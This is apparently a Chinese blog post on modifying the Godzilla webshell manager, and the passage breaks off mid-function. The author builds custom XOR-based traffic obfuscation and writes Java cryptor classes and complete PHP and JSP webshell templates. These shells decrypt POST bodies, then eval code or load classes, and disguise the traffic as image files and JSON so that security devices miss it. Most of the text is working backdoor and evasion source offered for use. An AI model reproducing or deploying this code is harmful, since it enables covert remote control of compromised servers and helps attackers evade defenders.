Godzilla二开流量加密
如有出现错误请发送邮件到xiaomming9@gmail.com,敬请斧正

Godzilla二开流量加密

前言

笔者很想自定义一个加密算法,并将其融入到学习的实践中,而在Web安全领域中,自定义加密算法正好适用于流量的混淆加密

遂尝试自定义加密算法以及哥斯拉的二开

加密算法

2357

笔者首先想的是将明文字符串的每个字符分开,通过unicode表转换为阿拉伯数字,一个个的加密,再使用一个特殊的分隔符号插入到每个加密的密文段中,最后排列后就是密文

加密使用最简单的乘除方法:

如果这个转换的数字能被2、3、5、7整除,那就使用2、3、5、7以及商来代替明文字符
如果这个转换的数字不能被2、3、5、7整除,那就用1以及数字本身来代替明文字符

举个例子:

明文字符串:    hello
Unicode串:   104 101  108 108 111                   
密文字符串:    252 1101 254 254 337                     104=2*52 108=2*54 111=3*37 空格为间隔符

对应的python3加密以及解密函数

def have_2357(n):
    for i in [2,3,5,7]:
        if n % i == 0 :
            return False
    return True

def encrypt_string(input_string):
    encrypted_list = []
    for char in input_string:
        ascii_value = ord(char)
        if have_2357(ascii_value):
            encrypted_list.append(f"1{ascii_value}")
        else:
            factors = []
            for i in range(2, ascii_value + 1):
                if ascii_value % i == 0:
                    factors.append(i)
            encrypted_list.append(f"{factors[0]}{factors[-1]//factors[0]}")
    encrypted_string = ','.join(encrypted_list)
    return encrypted_string

def decrypt_string(input_string):
    list1=input_string.split(',')
    t=''
    for i in list1:
        t=t+(chr(int(i[0])*int(i[1:])))
    return t

input_string = "yheLlo,明world!"
encrypted_result = encrypt_string(input_string)
decrypted_result= decrypt_string(encrypted_result)
print(f"原始字符串: {input_string}")
print(f"加密结果: {encrypted_result}")
print(f"解密结果:{decrypted_result}")
原始字符串: yheLlo,明world!
加密结果: 1121,252,1101,238,254,337,232646,213063,717,337,257,254,250,311
解密结果:yheLlo,明world!

但在后续开发时,我不是很想将这个算法应用到哥斯拉的二开中,为什么呢?

这个算法在加密过程中扩大了非常大的字节数,而且还有一大堆分隔符号,所以这个就被pass

PS:不过这也是自己弄的成果,贴一贴吧

qpe

由于2357加密后得字符串太长,所以我想将加密后的字符串再通过unicode表转为对应得字符,缩小一下字符串长度

加密算法简单做下升级,引入方程,自定义abc,其中的元参数x由明文字符串得下标位数来确定(大于10的对10取余),通过a* x*x + b*x + c得到y

这个y值与明文字符的unicode数字做异或,异或后通过unicode转为字符就是加密后得密文

对应的python3加密以及解密函数

def quadratic_function(a, b, c, x):
    """计算二次方程值"""
    return a * x * x + b * x + c

def encrypt(plaintext, a, b, c):
    """加密函数"""
    encrypted = []
    for i, char in enumerate(plaintext):
        x = i if i < 10 else i % 10  # 修改点:元参数 x 的定义
        shift = quadratic_function(a, b, c, x)
        encrypted_char = chr(ord(char) ^ (shift % 255))
        encrypted.append(encrypted_char)
    return ''.join(encrypted)

def decrypt(ciphertext, a, b, c):
    """解密函数"""
    decrypted = []
    for i, char in enumerate(ciphertext):
        x = i if i < 10 else i % 10  # 同样使用修改后的 x
        shift = quadratic_function(a, b, c, x)
        decrypted_char = chr(ord(char) ^ (shift % 255))
        decrypted.append(decrypted_char)
    return ''.join(decrypted)

# 示例
a, b, c = 1, 2, 3
plaintext = "yheLlo,明world!"
encrypted_text = encrypt(plaintext, a, b, c)
decrypted_text = decrypt(encrypted_text, a, b, c)

print(f"原始字符串:  {plaintext}")
print(f"加密结果: {encrypted_text}")
print(f"解密结果: {decrypted_text}")

原始字符串:  yheLlo,明world!
加密结果: znn^wI_晌$ qjo3
解密结果: yheLlo,明world!

Sta3t

在考虑加密算法时,我不禁想起了高中生涯。当时,我只对理科感兴趣,尤其喜欢数学中的数形结合方法来解决问题。记得还用椭圆的参数方程来分析和解决椭圆相关的平面几何问题,把选修题的知识用来做必修的大题,哈哈,现在想想还真挺有意思

在算法中引入圆,自定义a+2b+3等于r的平方,x0r依小至大选择0以及正整数,在圆中对应的最大的正整数y就是c

也就是通过ab来确定c(取在圆中最远离圆心的点)

再走qpe的逻辑

对应的python3加密以及解密函数

def Round(a, b):
    """计算C"""
    R = a + 2 * b +3
    C = []
    for x in range(R):
        if x * x <= R:
            for y in range(R):
                if x * x + (y+1) * (y+1) > R:
                    C.append(y)
                    break
        else:
            break
    return C

def quadratic_function(a, b, c, x):
    """计算二次方程值"""
    return a * x * x + b * x + c

def encrypt(plaintext, a, b ,C):
    """加密函数"""
    encrypted = []
    for i, char in enumerate(plaintext):
        shift = quadratic_function(a, b, C[i%len(C)], i)
        encrypted_char = chr(ord(char) ^ (shift % 255))
        encrypted.append(encrypted_char)
    return ''.join(encrypted)

def decrypt(ciphertext, a, b, C):
    """解密函数"""
    decrypted = []
    for i, char in enumerate(ciphertext):
        shift = quadratic_function(a, b, C[i%len(C)], i)
        decrypted_char = chr(ord(char) ^ (shift % 255))
        decrypted.append(decrypted_char)
    return ''.join(decrypted)

a, b, = 3, 2
C = Round(a, b)
plaintext = "yheLlo,明world!"
encrypted_text = encrypt(plaintext, a, b, C)
decrypted_text = decrypt(encrypted_text, a, b, C)

print(f"原始字符串:  {plaintext}")
print(f"加密结果: {encrypted_text}")
print(f"解密结果: {decrypted_text}")

原始字符串:  yheLlo,明world!
加密结果: z`wnW7カ暬¤f1ï¨;
解密结果: yheLlo,明world!

哥斯拉二开

php_eval_xor_base64

要二开的话还是需要理清代码的层级结构,需要了解功能模块的代码位置,在这里我们重点在于流量的混淆功能,So开启Debug来锁定代码位置

哥斯拉ui目标项右键点击进入(选择Php_Eval_Xor_Base64混淆器)

首先步入到core/ui/ShellManage代码文件,后通过方法调用步入到core/shell/ShellEntity代码文件的initShellOpertion方法中,后走到PhpEvalXorinit方法

image-20250620155905532

image-20250620161757763

image-20250620162049131

PhpEvalXorinit方法功能是将payload传递给服务端

public void init(ShellEntity context) {
    this.shell = context;
    this.http = this.shell.getHttp();
    this.key = this.shell.getSecretKeyX().getBytes();
    this.pass = this.shell.getPassword();
    String findStrMd5 = functions.md5(this.shell.getSecretKey() + new String(this.key));
    this.findStrLeft = findStrMd5.substring(0, 16);
    this.findStrRight = findStrMd5.substring(16);
    this.evalContent = this.generateEvalContent();  

    try {
        this.payload = this.shell.getPayloadModule().getPayload(); #在本地文件中读取获得哥斯拉功能函数代码(打开文件,下载文件,查看基础信息等)
        if (this.payload != null) {
            this.http.sendHttpResponse(this.payload);              #将功能函数加密后发送POST请求传递给服务端,加密函数在`PhpEvalXor`的E方法
            this.state = true;
        } else {
            Log.error("payload Is Null");
        }

    } catch (Exception var4) {
        Log.error(var4);
    }
}

image-20250620163546676

image-20250620163704194

image-20250620163752830

image-20250620164225633

后通过core/shell/ShellEntitytest方法测试连接Godzilla

image-20250620165510771

分析如下

core/ui/ShellManage.java
core/shell/ShellEntity.java                     shell的连接逻辑
Shells/cryptions/{CryptionName}/{Crypto}.java   用于存放混淆器功能函数
PhpEvalor
    init()
    PHP_EVAL_XOR_BASE64
        generateEvalContent()                 通过GenerateShellLoder生成木马文件
        getPayloadModule().getPayload()       通过readInputStream获取功能函数代码
        this.http.sendHttpResponse(this.payload);
            sendHttpResponse()
                getCryptionModule().encode()
                    E()                       PHP_EVAL_XOR_BASE64的加密函数来加密功能函数代码
                        this.SendHttpConn()   发送    

PhpQPE

毕竟是要在Godzilla中编写java代码的混淆器,加密算法肯定不能用python

// 首先将字符串进行`base64`编码,在进行`QPE`加密
String base64 = Base64.getEncoder().encodeToString(cs);
byte[] base64Bytes = base64.getBytes();
byte[] encrypted = new byte[base64Bytes.length];

for (int i = 0; i < base64Bytes.length; i++) {
    int j = i % 10;
    int shift = a * j * j + b * j + c;
    encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
}

加密后的字符串基本就是乱码形式了,为了更好的混淆防护设备,笔者进行了二次修改,在字符串的首尾添加了pngjpg等的文件头、文件尾

最终形式如下

public byte[] E(byte[] cs) {
    int a = 1, b = 2, c = 3;
    byte[][] headers = {
            {(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A},             // PNG
            {(byte) 0xFF, (byte) 0xD8, (byte) 0xFF},                             // JPG
            {0x47, 0x49, 0x46, 0x38, 0x39, 0x61},                                // GIF89a
            {0x42, 0x4D},                                                        // BMP
            {0x49, 0x49, 0x2A, 0x00},                                            // TIFF (LE)
            {0x4D, 0x4D, 0x00, 0x2A},                                            // TIFF (BE)
            {0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50},                    // WebP (RIFF header)
    };
    byte[][] trailers = {
            {0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
            {(byte) 0xFF, (byte) 0xD9},                                                            // JPG
            {0x00, 0x3B},                                                                          // GIF
            {},                                                                                    // BMP
            {},                                                                                    // TIFF (LE)
            {},                                                                                    // TIFF (BE)
            {},                                                                                    // WebP
    };
    Random random = new Random();
    int index = random.nextInt(headers.length);
    byte[] header = headers[index];
    byte[] trailer = trailers[index];
    String base64 = Base64.getEncoder().encodeToString(cs);
    byte[] base64Bytes = base64.getBytes();
    byte[] encrypted = new byte[base64Bytes.length];

    for (int i = 0; i < base64Bytes.length; i++) {
        int j = i % 10;
        int shift = a * j * j + b * j + c;
        encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
    }
    // 拼接:头部 + 加密数据 + 尾部
    byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
    System.arraycopy(header, 0, finalResult, 0, header.length);
    System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
    System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);
    return finalResult;
}

有了混淆器,也要有对应的功能木马

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function decrypt($data, $a, $b, $c) {
    $magic = ord($data[0]);
    $headerMap = [
        137 => [8, 12],
        255 => [3, 2],
        71  => [6, 2],
        66  => [2, 0],
        73  => [4, 0],
        77  => [4, 0],
        82  => [8, 0],
    ];
    $headerLen = 0;
    $footerLen = 0;
    if (isset($headerMap[$magic])) {
        [$headerLen, $footerLen] = $headerMap[$magic];
    }
    $data = substr($data, $headerLen, strlen($data) - $headerLen - $footerLen);
    $len = strlen($data);
    $decoded = '';
    for ($i = 0; $i < $len; $i++) {
        $j = $i % 10;
        $shift = $a * $j * $j + $b * $j + $c;
        $decoded .= chr(ord($data[$i]) ^ ($shift % 255));
    }
    return base64_decode($decoded);
}
function encode($D, $K){
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}
$QPEdata = file_get_contents('php://input');
$pass = 'pass';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';
$a = 1;
$b = 2;
$c = 3;

if (isset($QPEdata)) {
    $data = decrypt($QPEdata, $a, $b, $c);
    if (isset($_SESSION[$payloadName])) {
        $payload = $_SESSION[$payloadName];
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = $payload;
        }
        eval($payload);
        $timestamp = time();
        $filename = substr(md5($timestamp), 0, 16) . (rand(0, 1) ? '.png' : '.jpg');
        $fieldNames = ['key', 'token'];
        $randomField = $fieldNames[array_rand($fieldNames)];
        $encrypted = base64_encode(encode(@run($data), $key));
        header('Content-Type: application/json');
        echo json_encode([
            'filename' => $filename,
            $randomField => $encrypted,
            'timestamp' => $timestamp
        ]);
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = $data;
        }
    }
}

其实在哥斯拉的cryptions目录下有木马的模板文件,需要与Generate类配合使用来完成木马文件的自定义生成(passkey可被用户自定义)

image-20250621092406423

image-20250621092450826

这样混淆器的所有文件都已经准备好了,在src/shells/cryptions目录下按照其它混淆器的文件架构创建写入就可以了

QPE

package shells.cryptions.PhpQPE;

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import java.util.Random;
import shells.cryptions.PhpQPE.Generate;
import java.util.Base64;
import util.Log;
import util.functions;
import util.http.Http;

import java.net.URLEncoder;

@CryptionAnnotation(Name="PhpQPE", payloadName="PhpDynamicPayload")

public class QPE implements Cryption {
    private ShellEntity shell;
    private Http http;
    private byte[] key;
    private boolean state;
    private String pass;
    private byte[] payload;
    private String findStrLeft;
    private String findStrLeft1;
    private String findStrRight;

    @Override
    public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
        String findStrMd5 = functions.md5(this.pass + new String(this.key));
        String md5Prefix = findStrMd5.substring(0, 5);

        try {
            this.payload = this.shell.getPayloadModule().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }
        } catch (Exception e) {
            Log.error(e);
            return;
        }
    }

    @Override
    public byte[] encode(byte[] data) {
        try {
            return this.E(data);
        } catch (Exception e) {
            Log.error(e);
            return null;
        }
    }

    @Override
    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return this.D(this.findStr(data));
            } catch (Exception e) {
                Log.error(e);
                return null;
            }
        }
        return data;
    }

    @Override
    public boolean isSendRLData() {
        return true;
    }

    public byte[] E(byte[] cs) {
        int a = 1, b = 2, c = 3;

        // 定义支持的图片头和尾(可自行扩展)
        byte[][] headers = {
                {(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A},             // PNG
                {(byte) 0xFF, (byte) 0xD8, (byte) 0xFF},                             // JPG
                {0x47, 0x49, 0x46, 0x38, 0x39, 0x61},                                // GIF89a
                {0x42, 0x4D},                                                        // BMP
                {0x49, 0x49, 0x2A, 0x00},                                            // TIFF (LE)
                {0x4D, 0x4D, 0x00, 0x2A},                                            // TIFF (BE)
                {0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50},                    // WebP (RIFF header)
        };

        byte[][] trailers = {
                {0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
                {(byte) 0xFF, (byte) 0xD9},                                                            // JPG
                {0x00, 0x3B},                                                                          // GIF
                {},                                                                                    // BMP
                {},                                                                                    // TIFF (LE)
                {},                                                                                    // TIFF (BE)
                {},                                                                                    // WebP
        };

        // 随机选择一种格式
        Random random = new Random();
        int index = random.nextInt(headers.length);
        byte[] header = headers[index];
        byte[] trailer = trailers[index];

        // Base64编码
        String base64 = Base64.getEncoder().encodeToString(cs);
        byte[] base64Bytes = base64.getBytes();
        byte[] encrypted = new byte[base64Bytes.length];

        for (int i = 0; i < base64Bytes.length; i++) {
            int j = i % 10;
            int shift = a * j * j + b * j + c;
            encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
        }

        // 拼接:头部 + 加密数据 + 尾部
        byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
        System.arraycopy(header, 0, finalResult, 0, header.length);
        System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
        System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);

        return finalResult;
    }
    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        int len = cs.length;
        for (int i = 0; i < len; ++i) {
            cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
        }
        return cs;
    }

    public String findStr(byte[] respResult) {
        String json = new String(respResult);
        String[] keys = {"\"key\":\"", "\"token\":\""};
        for (String k : keys) {
            int start = json.indexOf(k);
            if (start != -1) {
                start += k.length();
                int end = json.indexOf("\"", start);
                if (end > start) {
                    return json.substring(start, end);
                }
            }
        }
        return null;
    }

    @Override
    public boolean check() {
        return this.state;
    }

    @Override
    public byte[] generate(String password, String secretKey) {
        return shells.cryptions.PhpQPE.Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
    }
}


Generate

package shells.cryptions.PhpQPE;

import java.io.InputStream;
import util.Log;
import util.TemplateEx;
import util.functions;

class Generate {
    Generate() {
    }

    public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
        byte[] data = null;
        try {
            InputStream inputStream = Generate.class.getResourceAsStream("template/" + (isBin ? "raw.bin" : "base64.bin"));
            String code = new String(functions.readInputStream(inputStream));
            inputStream.close();
            code = code.replace("{pass}", pass).replace("{secretKey}", secretKey);
            code = TemplateEx.run(code);
            data = code.getBytes();
        } catch (Exception e) {
            Log.error(e);
        }
        return data;
    }

    public static void main(String[] args) {
        System.out.println(new String(Generate.GenerateShellLoder("123", "456", false)));
    }
}


base64.bin

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);

function decrypt($data, $a, $b, $c) {
    $magic = ord($data[0]);
    $headerMap = [
        137 => [8, 12],
        255 => [3, 2],
        71  => [6, 2],
        66  => [2, 0],
        73  => [4, 0],
        77  => [4, 0],
        82  => [8, 0],
    ];
    $headerLen = 0;
    $footerLen = 0;
    if (isset($headerMap[$magic])) {
        [$headerLen, $footerLen] = $headerMap[$magic];
    }
    $data = substr($data, $headerLen, strlen($data) - $headerLen - $footerLen);
    $len = strlen($data);
    $decoded = '';
    for ($i = 0; $i < $len; $i++) {
        $j = $i % 10;
        $shift = $a * $j * $j + $b * $j + $c;
        $decoded .= chr(ord($data[$i]) ^ ($shift % 255));
    }
    return base64_decode($decoded);
}
function encode($D, $K){
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}
$QPEdata = file_get_contents('php://input');
$pass = '{pass}';
$payloadName = 'payload';
$key = '{secretKey}';
$a = 1;
$b = 2;
$c = 3;

if (isset($QPEdata)) {
    $data = decrypt($QPEdata, $a, $b, $c);
    if (isset($_SESSION[$payloadName])) {
        $payload = $_SESSION[$payloadName];
        if (strpos($payload, "getBasicsInfo") === false) {
            $payload = $payload;
        }
        eval($payload);
        $timestamp = time();
        $filename = substr(md5($timestamp), 0, 16) . (rand(0, 1) ? '.png' : '.jpg');
        $fieldNames = ['key', 'token'];
        $randomField = $fieldNames[array_rand($fieldNames)];
        $encrypted = base64_encode(encode(@run($data), $key));
        header('Content-Type: application/json');
        echo json_encode([
            'filename' => $filename,
            $randomField => $encrypted,
            'timestamp' => $timestamp
        ]);
    } else {
        if (strpos($data, "getBasicsInfo") !== false) {
            $_SESSION[$payloadName] = $data;
        }
    }
}

构建新的工件就生成了新的jar

木马流量如下

image-20250621094032831

image-20250621094044633

virscan结果(😢😢还是有些差劲的,后续还是会改进的)

image-20250621094316668

JavaQPE

JavaAES的混淆器架构和php的还是有些区别的,在它的Generate类文件与模板shell.jsp可以看出

xxxGlobalCode.bin 存放变量/方法/类代码

xxxCode.bin 存放执行逻辑代码

// 生成木马文件类 Generate.java
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package shells.cryptions.JavaAes;

import core.ApplicationContext;
import core.ui.component.dialog.GOptionPane;
import java.awt.Component;
import java.io.InputStream;
import javax.swing.Icon;
import util.Log;
import util.functions;

class Generate {
    private static final String[] SUFFIX = new String[]{"jsp", "jspx"};

    Generate() {
    }

    public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {
        byte[] data = null;

        try {
            InputStream inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "GlobalCode.bin");
            String globalCode = new String(functions.readInputStream(inputStream));
            inputStream.close();
            globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
            inputStream = Generate.class.getResourceAsStream("template/" + shellName + (isBin ? "raw" : "base64") + "Code.bin");
            String code = new String(functions.readInputStream(inputStream));
            inputStream.close();
            Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null);
            if (selectedValue != null) {
                String suffix = (String)selectedValue;
                inputStream = Generate.class.getResourceAsStream("template/shell." + suffix);
                String template = new String(functions.readInputStream(inputStream));
                inputStream.close();
                if (suffix.equals(SUFFIX[1])) {
                    globalCode = globalCode.replace("<", "<").replace(">", ">");
                    code = code.replace("<", "<").replace(">", ">");
                }

                if (ApplicationContext.isGodMode()) {
                    template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code));
                } else {
                    template = template.replace("{globalCode}", globalCode).replace("{code}", code);
                }

                data = template.getBytes();
            }
        } catch (Exception var11) {
            Log.error(var11);
        }

        return data;
    }

    public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
        return GenerateShellLoder("", pass, secretKey, isBin);
    }
}
// 模板 shell.jsp
<%!{globalCode}%><%{code}%>

最终结果文件

JavaQPE

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package shells.cryptions.JavaQPE;

import core.annotation.CryptionAnnotation;
import core.imp.Cryption;
import core.shell.ShellEntity;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.Random;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

import shells.cryptions.JavaQPE.Generate;
import util.Log;
import util.functions;
import util.http.Http;

@CryptionAnnotation(
        Name = "JavaQPE",
        payloadName = "JavaDynamicPayload"
)
public class QPE implements Cryption {
    private ShellEntity shell;
    private Http http;
    private byte[] key;
    private boolean state;
    private String pass;
    private byte[] payload;
    private String findStrLeft;
    private String findStrLeft1;
    private String findStrRight;

    @Override
    public void init(ShellEntity context) {
        this.shell = context;
        this.http = this.shell.getHttp();
        this.key = this.shell.getSecretKeyX().getBytes();
        this.pass = this.shell.getPassword();
        String findStrMd5 = functions.md5(this.pass + new String(this.key));
        String md5Prefix = findStrMd5.substring(0, 5);

        try {
            this.payload = this.shell.getPayloadModule().getPayload();
            if (this.payload != null) {
                this.http.sendHttpResponse(this.payload);
                this.state = true;
            } else {
                Log.error("payload Is Null");
            }
        } catch (Exception e) {
            Log.error(e);
            return;
        }
    }

    @Override
    public byte[] encode(byte[] data) {
        try {
            return this.E(data);
        } catch (Exception e) {
            Log.error(e);
            return null;
        }
    }

    @Override
    public byte[] decode(byte[] data) {
        if (data != null && data.length > 0) {
            try {
                return this.D(this.findStr(data));
            } catch (Exception e) {
                Log.error(e);
                return null;
            }
        }
        return data;
    }

    @Override
    public boolean isSendRLData() {
        return true;
    }

    public byte[] E(byte[] cs) {
        int a = 1, b = 2, c = 3;

        // 定义支持的图片头和尾(可自行扩展)
        byte[][] headers = {
                {(byte) 0x89, 0x50, 0x4E, 0x47, 0x0D, 0x0A, 0x1A, 0x0A},             // PNG
                {(byte) 0xFF, (byte) 0xD8, (byte) 0xFF},                             // JPG
                {0x47, 0x49, 0x46, 0x38, 0x39, 0x61},                                // GIF89a
                {0x42, 0x4D},                                                        // BMP
                {0x49, 0x49, 0x2A, 0x00},                                            // TIFF (LE)
                {0x4D, 0x4D, 0x00, 0x2A},                                            // TIFF (BE)
                {0x52, 0x49, 0x46, 0x46, 0x57, 0x45, 0x42, 0x50},                    // WebP (RIFF header)
        };

        byte[][] trailers = {
                {0x00, 0x00, 0x00, 0x00, 0x49, 0x45, 0x4E, 0x44, (byte) 0xAE, 0x42, 0x60, (byte) 0x82}, // PNG
                {(byte) 0xFF, (byte) 0xD9},                                                            // JPG
                {0x00, 0x3B},                                                                          // GIF
                {},                                                                                    // BMP
                {},                                                                                    // TIFF (LE)
                {},                                                                                    // TIFF (BE)
                {},                                                                                    // WebP
        };

        // 随机选择一种格式
        Random random = new Random();
        int index = random.nextInt(headers.length);
        byte[] header = headers[index];
        byte[] trailer = trailers[index];

        // Base64编码
        String base64 = Base64.getEncoder().encodeToString(cs);
        byte[] base64Bytes = base64.getBytes();
        byte[] encrypted = new byte[base64Bytes.length];

        for (int i = 0; i < base64Bytes.length; i++) {
            int j = i % 10;
            int shift = a * j * j + b * j + c;
            encrypted[i] = (byte) (base64Bytes[i] ^ (shift % 255));
        }

        // 拼接:头部 + 加密数据 + 尾部
        byte[] finalResult = new byte[header.length + encrypted.length + trailer.length];
        System.arraycopy(header, 0, finalResult, 0, header.length);
        System.arraycopy(encrypted, 0, finalResult, header.length, encrypted.length);
        System.arraycopy(trailer, 0, finalResult, header.length + encrypted.length, trailer.length);

        return finalResult;
    }
    public byte[] D(String data) {
        byte[] cs = functions.base64Decode(data);
        int len = cs.length;
        for (int i = 0; i < len; ++i) {
            cs[i] = (byte)(cs[i] ^ this.key[i + 1 & 0xF]);
        }
        return cs;
    }

    public String findStr(byte[] respResult) {
        String json = new String(respResult);
        String[] keys = {"\"key\":\"", "\"token\":\""};
        for (String k : keys) {
            int start = json.indexOf(k);
            if (start != -1) {
                start += k.length();
                int end = json.indexOf("\"", start);
                if (end > start) {
                    return json.substring(start, end);
                }
            }
        }
        return null;
    }

    @Override
    public boolean check() {
        return this.state;
    }

    @Override
    public byte[] generate(String password, String secretKey) {
        return shells.cryptions.JavaQPE.Generate.GenerateShellLoder(password, functions.md5(secretKey).substring(0, 16), false);
    }
}


Generate

package shells.cryptions.JavaQPE;

//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

import core.ApplicationContext;
import core.ui.component.dialog.GOptionPane;
import java.awt.Component;
import java.io.InputStream;
import javax.swing.Icon;
import util.Log;
import util.functions;

class Generate {
    private static final String[] SUFFIX = new String[]{"jsp", "jspx"};

    Generate() {
    }

    public static byte[] GenerateShellLoder(String shellName, String pass, String secretKey, boolean isBin) {
        byte[] data = null;

        try {
            InputStream inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/GlobalCode.bin");
            String globalCode = new String(functions.readInputStream(inputStream));
            inputStream.close();
            globalCode = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
            inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/Code.bin");
            String code = new String(functions.readInputStream(inputStream));
            inputStream.close();
            Object selectedValue = GOptionPane.showInputDialog((Component)null, "suffix", "selected suffix", 1, (Icon)null, SUFFIX, (Object)null);
            if (selectedValue != null) {
                String suffix = (String)selectedValue;
                inputStream = shells.cryptions.JavaQPE.Generate.class.getResourceAsStream("template/shell." + suffix);
                String template = new String(functions.readInputStream(inputStream));
                inputStream.close();
                if (suffix.equals(SUFFIX[1])) {
                    globalCode = globalCode.replace("<", "<").replace(">", ">");
                    code = code.replace("<", "<").replace(">", ">");
                }

                if (ApplicationContext.isGodMode()) {
                    template = template.replace("{globalCode}", functions.stringToUnicode(globalCode)).replace("{code}", functions.stringToUnicode(code));
                } else {
                    template = template.replace("{globalCode}", globalCode).replace("{code}", code);
                }

                data = template.getBytes();
            }
        } catch (Exception var11) {
            Log.error(var11);
        }

        return data;
    }

    public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
        return GenerateShellLoder("", pass, secretKey, isBin);
    }
}

Code

try {
    InputStream in = request.getInputStream();
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    byte[] buffer = new byte[1024];
    int len;
    while ((len = in.read(buffer)) != -1) {
        baos.write(buffer, 0, len);
    }
    byte[] rawData = baos.toByteArray();
    byte[] decrypted = decrypt(rawData);
    if (decrypted == null) {
        response.sendError(400, "Decryption failed");
        return;
    }
    if (session.getAttribute(payloadName) == null) {
        session.setAttribute(payloadName, new X(this.getClass().getClassLoader()).Q(decrypted));
    } else {
        request.setAttribute("parameters", decrypted);
        java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
        Class payloadClass = (Class)session.getAttribute(payloadName);
        Object instance = payloadClass.newInstance();
        instance.equals(arrOut);
        instance.equals(pageContext);
        instance.toString();
        byte[] result = arrOut.toByteArray();
        long timestamp = System.currentTimeMillis();
        String seed = timestamp + "-" + Math.random();
        String md5Str = md5(seed);
        String filename = md5Str.substring(0, 16) + (Math.random() < 0.5 ? ".png" : ".jpg");
        String randomField = fieldNames[(int)(Math.random() * fieldNames.length)];
        byte[] encodedResult = encode(result, xc);
        String encryptedResult = base64Encode(encodedResult);
        response.setContentType("application/json");
        java.io.PrintWriter responseWriter = response.getWriter();
        responseWriter.print("{\"filename\":\"" + filename +
                          "\",\"" + randomField + "\":\"" + encryptedResult +
                          "\",\"timestamp\":" + timestamp + "}");
    }
} catch (Exception e) {
    response.sendError(500, "Internal Server Error: " + e.getMessage());
}

GlobalCode.bin

String xc="{secretKey}";
String pass="{pass}";
int a = 1, b = 2, c = 3;
String[] fieldNames = {"key", "token"};
String payloadName = "payload";
class X extends ClassLoader {
    public X(ClassLoader z) { super(z); }
    public Class Q(byte[] cb) {
        return super.defineClass(cb, 0, cb.length);
    }
}
private byte[] decrypt(byte[] data) {
    if (data == null || data.length == 0) return null;
    Map<Integer, int[]> headerMap = new HashMap<Integer, int[]>() {{
        put(137, new int[]{8, 12});
        put(255, new int[]{3, 2});
        put(71, new int[]{6, 2});
        put(66, new int[]{2, 0});
        put(73, new int[]{4, 0});
        put(77, new int[]{4, 0});
        put(82, new int[]{8, 0});
    }};
    int magic = data[0] & 0xFF;
    int headerLen = 0, footerLen = 0;
    if (headerMap.containsKey(magic)) {
        int[] lens = headerMap.get(magic);
        headerLen = lens[0];
        footerLen = lens[1];
    }
    int dataLength = data.length - headerLen - footerLen;
    if (dataLength <= 0) return null;
    byte[] middle = Arrays.copyOfRange(data, headerLen, headerLen + dataLength);
    byte[] decoded = new byte[middle.length];
    for (int i = 0; i < middle.length; i++) {
        int j = i % 10;
        int shift = a * j * j + b * j + c;
        decoded[i] = (byte)(middle[i] ^ (shift % 255));
    }
    try {
        return base64Decode(new String(decoded, "ISO-8859-1"));
    } catch (Exception e) {
        return null;
    }
}
private byte[] encode(byte[] data, String key) {
    if (data == null) return null;
    byte[] keyBytes = key.getBytes();
    byte[] result = new byte[data.length];
    for (int i = 0; i < data.length; i++) {
